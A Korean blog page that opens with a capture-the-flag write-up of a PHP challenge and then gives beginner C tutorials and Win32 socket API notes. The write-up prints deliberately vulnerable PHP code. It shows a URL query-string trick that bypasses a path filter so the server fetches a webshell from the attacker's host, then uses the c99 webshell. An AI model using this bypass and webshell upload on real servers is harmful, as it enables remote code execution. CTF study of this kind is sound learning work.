Total


문제는 위 캡쳐에 있는데로 'The flag reader is on /.' 라는 힌트와 함께 문제 사이트 링크와 index.php의 소스코드가 함께 주어졌다.

소스 코드는 아래와 같다. 

<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!

$session_path = '';

	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }

	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}

	session_start();
	register_shutdown_function('onShutdown');

	function set_context($id) {
		global $_SESSION, $session_path;

		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);

		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}

	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}

	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

 소스코드 분석 후 4번 라인에 있는 'allow_url_fopen' 설정이 활성 화 되어 있는 점을 보아 LFI(Local File Inclue) 취약점 또는 RFI(Remote File Include) 취약점이 존재할 것으로 예상했다.

또한 8번 라인의 'come onn!' 의 주석이 힌트라 생각하여 해당 소스 코드의 'cmd' 파라메터를 이용하여 시스템 명령어를 실행하여 flag를 알아내는 것으로 문제를 풀어 나갔다.  system 함수는 __wakeup() 함수 안에서 실행 되는데 이 함수는 검색 결과 PHP CLASS의 Magic Function 중 한 종류로 생성자, 소멸자와 같은 특정 조건 시 자동으로 호출 되는 함수로써 unserialize 함수 호출 후 자동으로 호출 되는 함수이다. 

하지만 __wakeup() 함수는 MyClass 클래스의 Magic Function이고 unserialize 함수는 MyClass와는 연관이 없어 __wakeup() 함수는 호출 되지 않았다.

* 이 부분이 문제의 포인트라 생각하여 구글링을 통해 PHP Object Injection 취약점을 이용해야 할 것이라 예상했지만  직접 서버 구성 후 확인 해 보니 절대 호출 되지 않는 부분이었다. 엄청난 삽질과 시간을 낭비 함....... 이 문제의 함정이었던 것 같다...--


사이트를 들어가 보면 아래와 같이 보여진다. 



페이지는 index.php 소스코드의 49번 라인에 있는 img 태그가 실행 된 결과가 보여 지는데 해당 이미지 태그의 src를 확인해 보면 data 디렉토리안에 사용자의 세션아이디로 디렉토리가 생기고 그 안에있는 avatar.png 그림파일을 불러오는 img 태그로 확인이 되었다. 하지만 해당 경로에 이미지가 없어 엑박이 뜨는것을 확인 할 수 있었다. 


  

url의 avatar.png를 지우고 요청 해본 결과 디렉토리 리스팅이 가능하였고 디렉토리에는 소스코드의 19번 라인에 있는 set_context 함수 호출의 결과로 생성 된 pickle 파일만 존재 했으며 이 파일에는 세션 변수의 값들이 13번 라인의 serialize 함수 호출의 결과로 직렬 화 되어 해당 파일에 저장되었다. 파일의 내용은 세션 변수의 값이 없어 존재 하지 않았다.



다시 소스 코드를 분석 해보니 30번 라인의 download_image 함수에서 post방식으로 넘어온 image 파라메터의 값을 parse_url 함수로 파싱하여 wget을 실행하는 것을 확인 할 수 있었고 RFI 취약점을 이용하여 웹쉘을 업로드하는 쪽으로 문제를 풀어 나갔다. 

download_image 함수에서 인자로 넘어온 url을 필터링 하는 부분이 있는데 이 부분이 이 문제의 핵심 포인트이었다. 

필터링 내용은 전달된 인자의 url은 'http' Scheme을 가져야 하고 '/avatar.png' Path를 가져야 했다. 

우선 업로드가 잘되는지 구글링을 통해 'http://www.xxxx.xxx/avatar.png' 형태의 이미지를 찾았고, 업로드 해본 결과 정상적으로 업로드 되는 것을 확인 하였다.

하지만 문제는 /avatar.png 라는 Path를 우회하는 것이었는데 처음에는 우회를 위해 parse_url, escapeshellarg 함수의 취약점을 찾아 보았으나 이 또한 엄청난 삽질 이었고, parse_url 함수를 확인해 본 결과 아래와 같이 url이 파싱됨을 확인 하였다. 

 


해당 함수를 확인한 후 다운로드 파일의 Path만 필터링할 뿐 확장자는 필터링 하지 않는다는 점을 깨닫고 이 점을 포인트로 하여 문제를 풀어 나갔다.

우선 'http://www.test.com/avatar.png'라는 url을 전송하면 

[scheme] => http

[host] => www.test.com

[path] => /avatar.png

위 처럼 파싱되는 것을 확인 하였고 곰곰히 생각해본 결과 파싱되는 값 중 query 값을 이용하면 될 것 같아 아래와 같이 입력을 해보았다.

$url = 'http://www.test.com/avatar.png?.php

[scheme] => http

[host] => www.test.com

[path] => /avatar.png

[query] => .php

 위와 같이 입력했을 시 해당 함수의 필터링을 우회 하는것을 확인 하였다. :)


 flag를 획득하기 위해 웹서버를 만들어 웹쉘을 avatar.png라는 이름으로 변경하고 위와 같은 형태의 url을 image 파라메터로 전송하였다.    


웹쉘이 필터링을 우회하여  업로드 된 것을 확인 하였고 웹쉘을 실행하여 flag를 찾아 보았다.

* 웹쉘을 간단히 코딩하여 사용하려고 하였으나 너무 삽질을 많이 하여 지친 관계로 c99웹쉘을 사용 하였다..;; 



flag는 문제의 힌트대로 '/' 경로에 존재 하였다.

하지만 읽혀지지 않았다. --' 

권한을 확인 해보니 '--x--x---' 소유자와 그룹에 대해 실행 권한 밖에 주어지지 않았고, 현재 웹쉘의 권한은 그룹의 권한을 가지므로 실행할 수 있음을 확인 하고 웹쉘의 execute 기능을 이용하여 flag를 실행할 수 있었다.


 


flag는 '1-day is not trendy enough' 이었다. :)



 

헤더파일

2015. 11. 4. 14:49

#include <stdio.h>

 

int main(void)

{

printf("Hello Rekcah");

return 0;

}

 

코드의 빨간색 블록 위치의 코드를 헤더파일 이라 합니다, 좀더 명확히 말하자면 '꺾쇠 안에 명시된 헤더 파일을 내용을 소스코드 안으로 포함하라'라는 의미의 명령 입니다.

여기서 다른 명령들과는 차이점이 존재 하는데 헤더파일을 포함하는 명령문의 끝은 세미콜론을 붙이지 않습니다.

 * C언어의 모든 명령문은 반드시 세미콜론(;)으로 마칩니다, 굉장히 중요하며 기본이 되는 문법적인 구조이기 때문에 절대 잊지 않으시길 바랍니다.

 

또한, 다른 명령문들과는 달리 왼쪽 부분에 # 기호를 반드시 붙입니다.

이것은 헤더파일을 포함하는 명령은 보통의 명령문 들과는 다르게 '전처리기'라는 장치에 의해 해석되고 처리되는 명령문이기 때문 입니다.

 * 전처리기의 자세한 설명은 추후 전처리기 챕터에서 설명 하도록 하겠습니다.

 

헤더파일은 .h 라는 확장자를 사용하며 함수와 관련된 정보들이 들어 있습니다.

사용 방법은 일반적으로 소스코드의 가장 선두 위치에 #include 라는 지시어 다음 꺾쇠 안에 사용하고자 하는 헤더파일의 이름을 적어주면 됩니다.

시점에서 우리가 주로 사용하는 헤더파일은 stdio.h 이며 이는 standard input output 약자로써 표준 /출력과 관련된 함수의 정보가 들어 있습니다.

'C Language' 카테고리의 다른 글

프로그램 기본 구성  (0) 2015.11.03
프로그램 개발 도구  (0) 2015.11.03
C언어  (0) 2015.11.02
프로그래밍 언어  (0) 2015.11.02

프로그램 기본 구성

2015. 11. 3. 16:31

 

#include <stdio.h>

 

int main(void)

{

printf("Hello Rekcah");

return 0;

}

 

코드는 'Hello Rekcah'라는 결과물을 출력하는 프로그램의 소스코드 입니다.

 

프로그램을 만들기 위해 소스코드에는 반드시 개의 메인(main) 함수가 필요 합니다.

메인 함수의 시작은 프로그램의 시작 지점, 메인 함수의 끝은 프로그램의 종료 지점이라고 생각 하면 됩니다.

물론 정확한 의미는 아니나 이제 C언어를 접하시는 분이라면 위와 같이 이해 하고 넘어가시면 됩니다.

 * 함수의 자세한 사용 방법은 함수 챕터에서 설명 하도록 하겠습니다.

 

함수란 여러 명령을 하나의 그룹으로 묶어 관리를 쉽게 하고 또한 작성 해놓은 명령을 사용을 하기 위한 문법적인 개념요소 입니다.

함수는 이름, 명령들의 집합, 반환 , 매개 변수로 구성되어 있습니다.

 

int main (void)

 

코드의 빨간색 블록 위치는 '반환 ' 형태를 지정하는 부분 입니다.

반환 값이란 그룹화 되어있는 함수 안의 명령들을 실행 하고 결과로 반환 하고자 하는 값이 있을 경우 반환 되어지는 결과 값을 말합니다.

, 숫자이냐 문자이냐 같은 값의 형태를 지정하기 위한 부분 입니다.

만약 반환 값이 없다면 void라는 키워드를 사용하며 void 생략할 없습니다.

* void '없음', '지정되지 않음' 의미하는 키워드 입니다.

 

초록색 블록 위치는 '함수의 이름' 지정하는 부분 입니다.

함수의 이름은 알파벳 /소문자, 숫자, 언더바(_) 구성할 있습니다.

C언어는 /소문자를 구분 합니다. 때문에 Value value 다른 이름으로 해석 되어 지므로  항상 /소문자를 주의해야 합니다.

또한, 이름으로 사용할 없는 경우는 '숫자로 시작된 이름', '특수 기호가 포함된 이름', '공백이 포함된 이름', '키워드와 같은 이름' 있습니다.

* 키워드란 예약어 라고도 하며 C언어 문법에서 사용 하기로 약속되어 있는 단어들을 말합니다.

* 이름을 한글로 만드는 방법도 있으나 일반적이지 않습니다.

 

파란색 블록 위치는 '매개 변수' 설정하는 부분 입니다.

C언어의 함수는 명령들을 실행할 필요한 값들을 전달하여 실행할 있는데, 이러한 값들을 '전달 인자' 또는 '전달 인수' 라고 합니다.

해당 위치는 '매개 변수'라고 하며 전달 되어지는 값들을 저장할 공간의 개수와 형태를 지정 합니다.

함수의 명령들을 실행 하고자 '함수를 호출한다'라고 표현하며 해당 함수로 전달 해주고자 하는 값들을 '전달 인자'라고 하며,

전달 되어지는 값들을 받아 저장하는 공간을 '매개 변수'라고 합니다.

매개 변수는 전달 되어지는 값들이 없을 경우 void라는 키워드를 사용하며 반환 값과는 달리 생략 가능 합니다.

또한 매개 변수는 반드시 소괄호로 묶여 있어야 합니다.

 

int main(void)

{

printf("Hello Rekcah");

return 0;

}

 

코드의 파란색 블록인 중괄호는 명령코드들이 함수 안에 포함되어 있다라는 것을 구분 짓기 위한 구분 기호로 사용 됩니다.

중괄호는 생략 가능 하며 현재 예제 에서는 빨간색 블록으로 표시되어 있는 명령들이 main이라는 이름의 함수 명령 코드가 됩니다.

함수의 명령 코드의 수는 제한이 없으며 줄을 포함해도 무방 합니다.

 

int main(void)

{

printf("Hello Rekcah");

return 0;

}

 

코드의 파란색 블록 return이라는 키워드는 '함수의 종료' 의미하며 함수의 종료란 함수의 나머지 명령을 실행하지 말고 끝내라는 의미 입니다.

또한 return 함수의 반환 값을 설정할 있는데 반환 형태와 같은 형태의 하나만 지정할 있습니다.

만약 반환 값이 없다면 생략 가능하며 경우 return 키워드만 사용 합니다.  

'C Language' 카테고리의 다른 글

헤더파일  (0) 2015.11.04
프로그램 개발 도구  (0) 2015.11.03
C언어  (0) 2015.11.02
프로그래밍 언어  (0) 2015.11.02

프로그램 개발 도구

2015. 11. 3. 14:07

 

프로그램이란 컴퓨터가 이해하고 실행할 있는 명령들의 모음을 말합니다.

 

이러한 프로그램을 만들기 위해서는 먼저 프로그래밍 언어를 알아야 하고 해당 언어로 작성된 명령들의 집합인 '소스코드' 필요 합니다.

또한, 소스코드를 컴퓨터가 이해할 있는 기계어로 변환을 위한 컴파일러라는 장치가 필요 합니다.

 

윈도우즈 운영체제에서 프로그램 개발 시에는 주로 Visual Studio 사용하고,

리눅스/유닉스 계열 운영체제에서 프로그램 개발 시에는 주로 GCC 사용 합니다.

 

위와 같은 프로그램 개발을 위해 사용하는 도구들을 '소프트웨어 개발 키트' 영어로는 SDK(Software Development Kit) 라고 합니다.

'C Language' 카테고리의 다른 글

헤더파일  (0) 2015.11.04
프로그램 기본 구성  (0) 2015.11.03
C언어  (0) 2015.11.02
프로그래밍 언어  (0) 2015.11.02

C언어

2015. 11. 2. 21:59

C언어란?

 

프로그램을 만들기 위해서 사용하는 언어 한가지 입니다.

 

우리가 사용하는 자연어도 한국어, 영어, 일본어, 중국어 세계 여러 언어가 존재 하듯,

프로그래밍 언어 또한 다양한 언어 들이 존재 합니다.

* 대부분의 프로그래밍 언어는 영어를 기반으로 만들어져 있습니다.

 

대표적인 언어가 바로 'C언어' 입니다.

C 언어는 1971년경 연구소의 데니스 리치와 톰슨이라는 사람이 UNIX라는 운영체제 시스템 개발을 위해 설계한 언어로써 현재 우리가 사용하는 운영체제들의 핵심(커널)요소는 C 언어로 만들어져 있습니다.

 

C 언어의 특징은 명령문을 순차적으로 작성하는 '절차적 프록그래밍 언어' 입니다.

글을 읽듯이 C언어의 명령들은 위에서 아래로 왼쪽에서 오른쪽으로 처리 됩니다.

'C Language' 카테고리의 다른 글

헤더파일  (0) 2015.11.04
프로그램 기본 구성  (0) 2015.11.03
프로그램 개발 도구  (0) 2015.11.03
프로그래밍 언어  (0) 2015.11.02

프로그래밍 언어

2015. 11. 2. 20:57

프로그래밍 언어란?

 

프로그램을 만들기 위해 사용하는 언어를 말합니다.

한국사람과 미국사람은 서로 다른 언어를 사용하기 때문에 의사소통이 되지 않듯,

사람이 컴퓨터에게 프로그램을 통해 어떠한 명령을 지시 하고자 한다면 서로 사용하는 언어가 다르기 때문에 의사 소통이 가능 합니다.

 

 사람(자연어) 컴퓨터(기계어)

 

그래서, 사람이 컴퓨터와 의사소통을 위해 사용하는 언어가 바로 '프로그래밍 언어' 입니다.

프로그래밍 언어 또한 사람을 위한 언어이기 때문에 컴퓨터는 이해할 없습니다.

 

한국사람과 미국사람이 의사소통을 원한다면 양쪽의 언어를 모두 알고 있는 통역가를 이용 합니다.

마찬가지로, 사람이 컴퓨터에게 명령을 지시한다면 통역가를 통해 원하는 명령을 전달할 있습니다.

이때 사용되는 통역가 역할을 하는 장치를 '컴파일러'라고 합니다.

 

사람(프로그래밍 언어) <-> 컴파일러(프로그래밍 언어, 기계어) <-> 컴퓨터(기계어)

 

정리하자면 '프로그래밍 언어' 사람이 통역가인 '컴파일러' 통해 컴퓨터에게 명령을 지시하기 위해 익히는 2 언어 라고 있습니다

'C Language' 카테고리의 다른 글

헤더파일  (0) 2015.11.04
프로그램 기본 구성  (0) 2015.11.03
프로그램 개발 도구  (0) 2015.11.03
C언어  (0) 2015.11.02

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'REKCAH Group' 카테고리의 다른 글

[리카IT]리눅스강의 2-2.Basic Command  (0) 2015.10.07
[리카IT]리눅스강의 2-1Directory  (0) 2015.10.07
[리카IT] 리눅스강의 0.CentOS 6.6 설치  (0) 2015.10.07
하트블리드 해킹시연  (0) 2015.03.13
쉘쇼크 해킹시연  (0) 2015.03.13

 

 

'REKCAH Group' 카테고리의 다른 글

[리카IT]리눅스강의 2-2.Basic Command  (0) 2015.10.07
[리카IT]리눅스강의 2-1Directory  (0) 2015.10.07
[리카IT] 리눅스강의 1.About Linux  (0) 2015.10.07
하트블리드 해킹시연  (0) 2015.03.13
쉘쇼크 해킹시연  (0) 2015.03.13

WSACleanup

2015. 4. 13. 18:57

프로그램에서 윈속 관련 함수 사용을 종료할 때 호출한다.

* 프로그램에서 더이상 ws2_32.dll 라이브러리의 기능을 사용하지 않을 때 호출한다.


- 출처 : MSDN


  • 파라메터 없음


Return value : 성공 시 0을 반환하고, 실패 시 SOCKET_ERROR(-1)을 반환한다. 실패에 대한 자세한 정보는 WSAGetLastError 함수를 참고한다.


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

WSAStartup  (0) 2015.04.13
WaitForMultipleObjects  (0) 2015.04.10
WaitForSingleObject  (0) 2015.04.10
inet_ntoa  (0) 2015.04.10
inet_addr  (0) 2015.04.10

WSAStartup

2015. 4. 13. 18:48

프로그램에서 윈속(Winsock)관련 함수들을 사용하기 전에 호출해야 하는 윈속 초기화 함수이다.


- 출처 : MSDN


  • wVersionRequested

- 윈속 버전을 설정한다.

- 상위 바이트에 Minor, 하위 바이트에 Major 버전을 설정한다.

- 매크로 함수 MAKEWORD(하위 바이트값, 상위 바이트값)에 값을 넣어 설정한다. 


  • lpWSAData

- WSADATA 구조체 변수의 주소를 설정한다.

- 운영체제는 함수 호출 후 초기화 결과의 세부 사항을 이 구조체 변수에 저장한다.


Return value : 성공 시 0을 반환하며, 실패 시 아래의 오류 코드 중 하나를 반환한다.

 - WSASYSNOTREADY : 네크워크 서브 시스템이 네트워크에 접속을 준비할 수 없음

 - WSAVERNOTSUPPORTED : 요구한 윈속의 버전이 지원 안됨

 - WSAEINPROGRESS : 블로킹 윈도우 소켓이 실행 중임

 - WSAEPROCLIM : 동시에 실행 가능한 최대 윈속수에 도달했음

 - WSAEFAULT : lpWSAData가 올바르지 않음


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

WSACleanup  (0) 2015.04.13
WaitForMultipleObjects  (0) 2015.04.10
WaitForSingleObject  (0) 2015.04.10
inet_ntoa  (0) 2015.04.10
inet_addr  (0) 2015.04.10

WaitForMultipleObjects

2015. 4. 10. 19:20

지정된 하나 또는 모든 객체의 시간 제한 간격이 경과 할때까지 또는 신호 상태로 전활될 때까지 대기한다.

* 이 함수는 다음 객체들에 대해 대기 가능 하다

- Change notification

- Console input

- Event

- Memory resource notification

- Mutex

- Process

- Semaphore

- Thread

- Waitable timer


- 출처 : MSDN


  • nCount

- 대기 하려는 객체의 수를 설정한다.

- 최대 객체 수는 MAXIMUM_WAIT_OBJECTS(64)이다.

- 이 파라메터 값은 0이 될 수 없다.


  • lpHandles

- 대기 하려는 객체들에 대한 핸들을 담고 있는 배열의 시작 주소를 설정한다.

- 핸들은 SYNCHRONIZE 접근 권한이 설정되어 있어야 한다.


  • bWaitAll

- TRUE 설정 시 대기하는 모든 객체의 종료 또는 시그널 상태로 전활될 때 반환된다.

- FALSE 설정 시 대기하는 객체들 중 어느 하나의 객체 종료 또는 시그널 상태로 전환될 때 반환된다.


  • dwMilliseconds

- 밀리 초 단위의 대기 시간 간격을 설정한다.

- 0을 설정 시 바로 반환되며, 0이 아닌 시간을 입력 했을 시 지정한 시간만큼을 대기한다.

- 값을 INFINITE로 설정 시 지정 객체의 종료 또는 시그널 상태로 전환될 때 반환된다.


Return value : 성공 시 WAIT_ABANDONED_0~nCount-1(0x00000080L+nCount-1), WAIT_OBJECT_0~nCount-1(0x00000000L+nCount-1), WAIT_TIMEOUT(0x00000102L)를 반환하고, 실패 시 WAIT_FAILED(0xFFFFFFFF)를 반환한다.

 - WAIT_ABANDONED : 뮤텍스 객체 사용 시 발생

 - WAIT_OBJECT_0 : 대기 하고 있는 객체의 종료 또는 시그널 상태로 전환 시 발생

 - WAIT_TIMEOUT : 대기 시간 초과 시 발생


Header : WinBase.h(include Windows.h)


DLL : Kernel32.dll


'Win32 API' 카테고리의 다른 글

WSACleanup  (0) 2015.04.13
WSAStartup  (0) 2015.04.13
WaitForSingleObject  (0) 2015.04.10
inet_ntoa  (0) 2015.04.10
inet_addr  (0) 2015.04.10

WaitForSingleObject

2015. 4. 10. 18:37

지정된 객체의 시간 제한 간격이 경과할때까지 또는 신호 상태로 전환될 때까지 대기한다.

* 이 함수는 다음 객체들에 대해 대기 가능 하다

- Change notification

- Console input

- Event

- Memory resource notification

- Mutex

- Process

- Semaphore

- Thread

- Waitable timer


- 출처 : MSDN


  • hHandle

- 대기 하려는 객체에 대한 핸들을 설정한다.

- 핸들은 SYNCHRONIZE 접근 권한이 설정되어 있어야 한다.


  • dwMilliseconds

- 밀리 초 단위의 대기 시간 간격을 설정한다.

- 0을 설정 시 바로 반환되며, 0이 아닌 시간을 입력 했을 시 지정한 시간만큼을 대기한다.

- 값을 INFINITE로 설정 시 지정 객체의 종료 또는 시그널 상태로 전환될 때 반환된다.


Return value : 성공 시 WAIT_ABANDONED(0x00000080L), WAIT_OBJECT_0(0x00000000L), WAIT_TIMEOUT(0x00000102L) 값 중 하나가 반환되고, 실패 시 WAIT_FAILED(0xFFFFFFFF)가 반환된다.

 - WAIT_ABANDONED : 뮤텍스 객체 사용 시 발생

 - WAIT_OBJECT_0 : 대기 하고 있는 객체의 종료 또는 시그널 상태로 전환 시 발생

 - WAIT_TIMEOUT : 대기 시간 초과 시 발생


Header : WinBase.h(include Windows.h)


DLL : Kernel32.dll


'Win32 API' 카테고리의 다른 글

WSAStartup  (0) 2015.04.13
WaitForMultipleObjects  (0) 2015.04.10
inet_ntoa  (0) 2015.04.10
inet_addr  (0) 2015.04.10
ntohl  (0) 2015.04.10

inet_ntoa

2015. 4. 10. 16:19

TCP/IP 네트워크 바이트 오더로 구성된 u_long 타입의 IPv4 주소를 수와 점으로 구성된 문자열 타입의 값으로 변환하여 반환한다.


- 출처 : MSDN


  • in

- 변환 할 in_addr 구조체 변수로 구성된 IPv4 값을 설정한다.


Return value : 성공 시 변환 된 문자열 타입의 IPv4 주소가 저장된 메모리의 주소를 반환하고, 실패 시 NULL을 반환한다. 


Header : WinSock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

WaitForMultipleObjects  (0) 2015.04.10
WaitForSingleObject  (0) 2015.04.10
inet_addr  (0) 2015.04.10
ntohl  (0) 2015.04.10
ntohs  (0) 2015.04.10

inet_addr

2015. 4. 10. 16:03

수와 점으로 구성된 문자열 타입의 IPv4 주소 값(예: "192.168.0.100")을 TCP/IP 네트워크 바이트 오더(빅 엔디안) 형태의 u_long 값으로 변환하여 반환한다.


- 출처 : MSDN


  • cp

- 변환 할 수와 점으로 구성된 문자열 타입의 IPv4 주소값을 설정한다.


Return value : 성공 시 변환된 u_long 값을 반환하고, 실패 시 INADDR_NONE(-1)을 반환한다.


Header : Winsock2.h


DLL : ws2_32.dll

'Win32 API' 카테고리의 다른 글

WaitForSingleObject  (0) 2015.04.10
inet_ntoa  (0) 2015.04.10
ntohl  (0) 2015.04.10
ntohs  (0) 2015.04.10
htonl  (0) 2015.04.10

ntohl

2015. 4. 10. 15:49

u_long 타입의 TCP/IP 네트워크 바이트 오더 방식(빅 엔디안)값을 호스트 바이트 오더(인텔 프로세서일 경우 리틀 엔디안)값으로 변환하여 반환한다.

* 바이트 오더란? 1개의 데이터가 1바이트 이상의 값을 가지고 있을 때 저장 되는 순서(바이트 단위)를 말한다. 

  빅 엔디안 : 낮은 주소에서 높은 주소로 저장 되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x12 | 0x34 | 0x56 (높은주소)

  리틀 엔디안 : 높은 주소에서 낮은 주소로 저장되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x56 | 0x34 | 0x12 (높은주소) 


- 출처 : MSDN


  • netlong

- 변환 하고자 하는 TCP/IP 네트워크 바이트 순서로 된 32비트(4바이트) 숫자를 설정한다.


Return value : 호스트 바이트 오더(인텔 프로세서일 경우 리틀 엔디안) 형태로 변환 된 값을 반환한다.


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

inet_ntoa  (0) 2015.04.10
inet_addr  (0) 2015.04.10
ntohs  (0) 2015.04.10
htonl  (0) 2015.04.10
htons  (0) 2015.04.10

ntohs

2015. 4. 10. 15:45

u_short 타입의 TCP/IP 네트워크 바이트 오더 방식(빅 엔디안)값을 호스트 바이트 오더(인텔 프로세서일 경우 리틀 엔디안)값으로 변환하여 반환한다.

* 바이트 오더란? 1개의 데이터가 1바이트 이상의 값을 가지고 있을 때 저장 되는 순서(바이트 단위)를 말한다. 

  빅 엔디안 : 낮은 주소에서 높은 주소로 저장 되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x12 | 0x34 | 0x56 (높은주소)

  리틀 엔디안 : 높은 주소에서 낮은 주소로 저장되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x56 | 0x34 | 0x12 (높은주소) 


- 출처 : MSDN


  • netshort

- 변환 하고자 하는 TCP/IP 네트워크 바이트 순서로 된 16비트(2바이트) 숫자를 설정한다.


Return value : 호스트 바이트 오더(인텔 프로세서일 경우 리틀 엔디안) 형태로 변환 된 값을 반환한다.


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

inet_addr  (0) 2015.04.10
ntohl  (0) 2015.04.10
htonl  (0) 2015.04.10
htons  (0) 2015.04.10
recvfrom  (0) 2015.04.10

htonl

2015. 4. 10. 15:38

u_long 타입의 호스트(로컬 시스템) 바이트 오더 데이터를 TCP/IP 네트워크 바이트 오더 방식인 빅 엔디안 값으로 변환하여 반환한다.

* 바이트 오더란? 1개의 데이터가 1바이트 이상의 값을 가지고 있을 때 저장 되는 순서(바이트 단위)를 말한다. 

  빅 엔디안 : 낮은 주소에서 높은 주소로 저장 되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x12 | 0x34 | 0x56 (높은주소)

  리틀 엔디안 : 높은 주소에서 낮은 주소로 저장되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x56 | 0x34 | 0x12 (높은주소) 


- 출처 : MSDN


  • hostlong

- 변환 하고자 하는 호스트(로컬 시스템) 바이트 순서로 된 32비트(4바이트) 숫자를 설정한다.


Return value : TCP/IP 네트워크 바이트 오더(빅 엔디안) 형태로 변환 된 값을 반환한다.


Header : Winsock2.h


DLL : ws2_32.dll

'Win32 API' 카테고리의 다른 글

ntohl  (0) 2015.04.10
ntohs  (0) 2015.04.10
htons  (0) 2015.04.10
recvfrom  (0) 2015.04.10
sendto  (0) 2015.04.10

htons

2015. 4. 10. 14:47

u_short 타입의 호스트(로컬 시스템) 바이트 오더 데이터를 TCP/IP 네트워크 바이트 오더 방식인 빅 엔디안 값으로 변환하여 반환한다.

* 바이트 오더란? 1개의 데이터가 1바이트 이상의 값을 가지고 있을 때 저장 되는 순서(바이트 단위)를 말한다. 

  빅 엔디안 : 낮은 주소에서 높은 주소로 저장 되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x12 | 0x34 | 0x56 (높은주소)

  리틀 엔디안 : 높은 주소에서 낮은 주소로 저장되는 형태의 바이트 오더

  예) 0x123456(3bytes)    -->    (낮은주소)  0x56 | 0x34 | 0x12 (높은주소) 


- 출처 : MSDN


  • hostshort

- 변환 하고자 하는 호스트(로컬 시스템) 바이트 순서로 된 16비트(2바이트) 숫자를 설정한다.


Return value : TCP/IP 네트워크 바이트 오더(빅 엔디안) 형태로 변환 된 값을 반환한다.


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

ntohs  (0) 2015.04.10
htonl  (0) 2015.04.10
recvfrom  (0) 2015.04.10
sendto  (0) 2015.04.10
recv  (0) 2015.04.09

recvfrom

2015. 4. 10. 14:28

지정한 소켓으로 들어온 데이터를 수신한다, 또한 데이터를 송신한 상대방의 주소 정보를 저장한다.

* UDP 프로토콜을 이용한 통신에서 상대방으로부터 데이터를 받을 때 사용한다. 


- 출처 : MSDN


  • s

- 데이터를 수신할 소켓의 식별자를 설정한다.


  • buf

- 수신한 데이터를 저장 할 메모리의 주소를 설정한다.


  • len

- buf 파라메터가 가리키는 수신 데이터를 저장 할 메모리의 크기를 설정한다.


  • flags

- 수신 시 사용할 옵션 값이다, 옵션을 사용하지 않을 경우 0을 설정한다.

- 옵션 사용 시 OR 연산자를 이용하여 하나 이상의 옵션을 지정할 수 있다.


  • from

데이터를 송신한 상대방의 주소 정보를 저장할 SOCKADDR_IN 구조체 변수의 주소를 전달한다.

- 파라메터는 sockaddr의 주소를 전달해야 하지만 IPv4를 사용하는 경우 전용 구조체인 SOCKADDR_IN를 사용 하므로 강제 형변환하여 인자를 전달한다.


  • fromlen

- from 파라메터에 전달되는 데이터의 길이를 저장한 메모리의 주소를 설정한다.

- 함수 호출 후 연결된 클라이언트의 주소 정보 크기가 저장 된다.


Return value : 성공 시 수신 된 데이터 바이트 수를 반환하고, 소켓 정상 종료 시 0을 반환한다. 실패 시 SOCKET_ERROR(-1)을 반환하고, 실패에 대한 자세한 정보는 WSAGetLastError를 참고한다.


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

htonl  (0) 2015.04.10
htons  (0) 2015.04.10
sendto  (0) 2015.04.10
recv  (0) 2015.04.09
send  (0) 2015.04.09

sendto

2015. 4. 10. 14:09

지정한 목적지로 데이터를 송신한다.

* UDP 프로토콜을 이용한 통신에서 상대방에게 데이터를 보낼 때 사용한다.


- 출처 : MSDN


  • s

- 데이터 송신에 사용할 소켓의 식별자를 설정한다.


  • buf

- 송신 하고자 하는 데이터가 들어있는 메모리의 주소를 설정한다.


  • len

- buf 파라메터가 가리키는 송신 데이터의 길이를 설정한다.


  • flags

- 송신 시 사용할 옵션 값이다, 옵션을 사용하지 않을 경우 0을 설정한다.

- 옵셥 사용 시 OR연산자를 이용하여 하나 이상의 옵션을 사용할 수 있다.


  • to

- 목적지 주소 정보가 들어있는 SOCKADDR_IN 구조체 변수의 주소를 설정한다.

- 파라메터는 sockaddr의 주소를 전달해야 하지만 IPv4를 사용하는 경우 전용 구조체인 SOCKADDR_IN에 정보를 입력한 후 강제 형변환하여 인자를 전달한다.


  • tolen

- to 파라메터에 전달되는 메모리의 크기값을 설정한다.


Return value : 성공 시 송신 된 데이터 바이트 수를 반환하고, 실패 시 SOCKET_ERROR(-1)을 반환하다. 실패에 대한 자세한 정보는 WSAGetLastError를 참고한다.


Header : Winsock2.h


DLL : ws2_32.dll


'Win32 API' 카테고리의 다른 글

htons  (0) 2015.04.10
recvfrom  (0) 2015.04.10
recv  (0) 2015.04.09
send  (0) 2015.04.09
closesocket  (0) 2015.03.31

+ Recent posts